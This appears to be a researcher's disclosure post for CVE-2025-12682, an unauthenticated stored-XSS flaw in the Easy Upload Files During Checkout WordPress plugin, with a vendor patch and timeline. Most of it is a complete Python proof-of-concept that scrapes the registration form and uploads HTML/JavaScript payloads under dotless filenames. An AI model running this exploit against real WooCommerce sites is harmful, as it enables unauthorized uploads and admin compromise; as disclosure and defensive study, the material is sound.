CVE-2025-12682

Another day, another WordPress plugin with a questionable file upload filter. This time it’s the Easy Upload Files During Checkout plugin (version 2.9.8 and below), which lets WooCommerce store owners collect files from customers during checkout. Unfortunately, it also lets anyone upload malicious HTML to your server — no login required — thanks to one of the worst extension checks I’ve seen.
The Discovery
While testing WooCommerce sites with file upload features, I noticed something odd. The plugin adds an upload field to the account registration form — but processes the upload before verifying whether the registration actually succeeds.
That means you can submit a fake registration, have it fail, and your file still gets uploaded.
The Technical Bits
This vulnerability comes from two bugs working together:
1. No Authentication Required
When “Display on Registration Page” is enabled, uploads are processed as soon as the form is submitted — no valid registration needed.
2. Weak Extension Check
Instead of validating proper extensions (like .png or .pdf), the plugin simply checks if the filename ends with one of those strings.
So if you upload a file literally named png (no dot, no extension), it passes the check. The web server doesn’t care about the name — it serves it as HTML if the content looks like HTML.
Here’s the flow:
-
Hit
/my-account/ -
Upload a file named
pngcontaining<script>alert(1)</script> -
Plugin says “looks good!” and uploads it
-
Visit
/wp-content/uploads/png -
JavaScript executes
The Exploit
I built a quick PoC that automates the process:
-
Fetches the registration form and CSRF tokens
-
Uploads files named
txt,pdf, orpng(no dots) -
Inserts simple HTML+JS payloads
-
Checks if the files are publicly accessible
The exploit works when:
-
Customer registration is enabled
-
The plugin’s registration upload option is on
-
The site is publicly visible
No credentials, no authentication — just a public endpoint and a bad filename check.
#!/usr/bin/env python3
"""
This POC works with the following configurations
- WooCommerce site visibility set to live
- WooCommerce Accounts & Privacy allow customers to create account on my-account page
- Easy Upload Files plugin enable display on Registration Page
Usage:
python3 poc.py -u "http://localhost/my-account/" —verbose
**NOTE** you must include the url of the signup page of my-account
Behavior:
- Treats -u as the full page URL to fetch (signup).
- Parses the first form containing a file input (or the first form), reads inputs & hidden fields.
- Uses the form's action as the POST target.
- Attempts uploads using provided candidate filenames (like 'txt', 'pdf') and probes for accessible uploads.
- Verbose mode prints debugging info.
Dependencies: requests, beautifulsoup4
"""
import argparse
import requests
import re
import sys
import time
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin
DEFAULT_NAMES = [
"txt", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx",
"csv", "rtf", "html", "xml", "json", "log", "conf", "ini"
]
DEFAULT_PAYLOAD = "<html><script>alert(1)</script></html>"
def get_origin(url):
p = urlparse(url)
origin = f"{p.scheme}://{p.netloc}"
return origin
def fetch_form_fields(session, page_url, verbose=False, timeout=15):
"""
Fetch the provided page_url and parse form inputs.
Returns: (fields_list, file_field_name, page_text, post_target_url)
"""
if verbose:
print("[*] GET", page_url)
resp = session.get(page_url, timeout=timeout)
if verbose:
print(" -> status:", resp.status_code)
if resp.status_code != 200:
raise RuntimeError(f"GET {page_url} returned {resp.status_code}")
soup = BeautifulSoup(resp.text, "html.parser")
# Find form containing file input or the first form
candidate_form = None
for form in soup.find_all("form"):
# file input or known field name heuristics
if form.find("input", {"type": "file"}) or form.find("input", {"name": "file_during_checkout"}):
candidate_form = form
break
if candidate_form is None:
candidate_form = soup.find("form")
if candidate_form is None:
# no form found; treat whole page as container (no action)
candidate_form = soup
action = None
else:
action = candidate_form.get("action")
# Resolve post target
if action:
post_target = urljoin(page_url, action)
else:
post_target = page_url # post back to same URL if no action
fields = []
file_field_name = None
# collect inputs
for inp in candidate_form.find_all("input"):
in_type = (inp.get("type") or "").lower()
name = inp.get("name")
if not name:
continue
val = inp.get("value", "")
if in_type == "file":
file_field_name = name
continue
fields.append((name, val))
# textareas
for ta in candidate_form.find_all("textarea"):
name = ta.get("name")
if name:
fields.append((name, ta.text or ""))
# selects
for sel in candidate_form.find_all("select"):
name = sel.get("name")
if not name:
continue
val = ""
opt = sel.find("option", selected=True)
if opt:
val = opt.get("value", "")
else:
first = sel.find("option")
if first:
val = first.get("value", "")
fields.append((name, val))
# Guess file field if not present
if file_field_name is None:
if any(name == "file_during_checkout" for name, _ in fields):
file_field_name = "file_during_checkout"
else:
for candidate in ("file", "upload", "upload_file", "file_during_checkout"):
if candidate in [n for n, _ in fields]:
file_field_name = candidate
break
if verbose:
print(" -> parsed fields:", len(fields), "file_field:", file_field_name)
# print some fields (avoid dumping long values)
for k, v in fields:
print(" ", k, "=", (v if v is not None else ""))
return fields, file_field_name, resp.text, post_target
def build_multipart_payload(fields, file_field_name, upload_filename, payload_text):
"""
Build (files, data) pairs for requests.post.
files: list of (fieldname, (filename, bytes, content_type))
data: list of (name, value)
"""
files = []
if file_field_name:
files.append((file_field_name, (upload_filename, payload_text.encode("utf-8"), "application/pdf")))
data = []
for name, val in fields:
if name == file_field_name:
if val:
data.append((name, val))
continue
data.append((name, val if val is not None else ""))
# ensure the 'file_during_checkout' boolean exists if not present
if file_field_name != "file_during_checkout" and not any(n == "file_during_checkout" for n, _ in data):
data.append(("file_during_checkout", "true"))
return files, data
def find_candidate_urls_from_response(base_origin, resp_text):
candidates = []
for m in re.finditer(r'href=["\']([^"\']*wp-content/uploads[^"\']*)["\']', resp_text, flags=re.IGNORECASE):
url = m.group(1)
if url.startswith("//"):
url = "http:" + url
elif url.startswith("/"):
url = base_origin.rstrip("/") + url
candidates.append(url)
for m in re.finditer(r'(/wp-content/uploads/[^\s"\'<>]+)', resp_text, flags=re.IGNORECASE):
full = base_origin.rstrip("/") + m.group(1)
if full not in candidates:
candidates.append(full)
return candidates
def attempt_uploads(page_url, names, payload, cookies=None, verbose=False, timeout=15):
session = requests.Session()
if cookies:
for part in cookies.split(";"):
if "=" in part:
k, v = part.strip().split("=", 1)
session.cookies.set(k, v)
try:
fields, file_field_name, page_text, post_target = fetch_form_fields(session, page_url, verbose=verbose)
except Exception as e:
print("[!] Error fetching form:", e)
return False, None
origin = get_origin(page_url)
uploads_base = origin.rstrip("/") + "/wp-content/uploads"
for name in names:
if verbose:
print("\n[*] Trying filename:", name)
files, data = build_multipart_payload(fields, file_field_name, name, payload)
headers = {
"User-Agent": "Mozilla/5.0 (PoC)",
"X-Requested-With": "XMLHttpRequest",
"Referer": page_url,
"Origin": origin
}
try:
resp = session.post(post_target, files=files, data=data, headers=headers, timeout=timeout, allow_redirects=True)
except Exception as e:
print(" [!] POST error:", e)
continue
if verbose:
print(" -> POST target:", post_target)
print(" -> POST status:", resp.status_code)
print(" -> POST final URL:", resp.url)
snippet = resp.text[:800].replace("\n", " ").replace("\r", " ")
print(" -> Response snippet:", snippet if snippet else "[empty]")
candidates = find_candidate_urls_from_response(origin, resp.text)
simple = uploads_base + "/" + name
if simple not in candidates:
candidates.append(simple)
for cand in candidates:
try:
g = session.get(cand, timeout=timeout, allow_redirects=True)
except Exception as e:
if verbose:
print(" [!] GET", cand, "failed:", e)
continue
if verbose:
print(" -> GET", cand, "status:", g.status_code, "Content-Type:", g.headers.get("Content-Type"))
if g.status_code == 200:
return True, cand
return False, None
def main():
parser = argparse.ArgumentParser(description="Fetch form from the given page URL then attempt filename-based uploads")
parser.add_argument("-u", "--url", required=True, help="Full signup page URL (e.g., http://localhost/my-account/ or http://localhost/?page_id=10)")
parser.add_argument("--names", help="Comma-separated names to test (defaults to common list)")
parser.add_argument("--cookies", help="Optional cookie string (copy from browser), format 'k=v; a=b'")
parser.add_argument("--payload", help="HTML payload body", default=DEFAULT_PAYLOAD)
parser.add_argument("--verbose", help="Verbose output", action="store_true")
args = parser.parse_args()
names = [n.strip() for n in args.names.split(",")] if args.names else DEFAULT_NAMES
ok, url = attempt_uploads(args.url, names, args.payload, cookies=args.cookies, verbose=args.verbose)
if ok:
print("\n[✔] SUCCESS: uploaded file accessible at:", url)
sys.exit(0)
else:
print("\n[-] No successful uploaded file detected for tested names.")
sys.exit(1)
if __name__ == "__main__":
main()
Impact
This opens a clear path for:
-
Stored XSS via uploaded HTML
-
Server storage abuse
-
Hosting malicious content
The XSS vector is the biggest risk: inject JavaScript, wait for an admin to view it, and you’ve got admin-level compromise.
The Fix
After reporting the issue, the vendor released v2.9.9, which addresses the vulnerability
Timeline
-
Discovery: Oct 26, 2025
-
Vendor notified: Oct 26, 2025
-
Patch: v2.9.9
-
Public disclosure: Nov 3, 2025
🎥 Demo
Proof-of-concept video: Vimeo link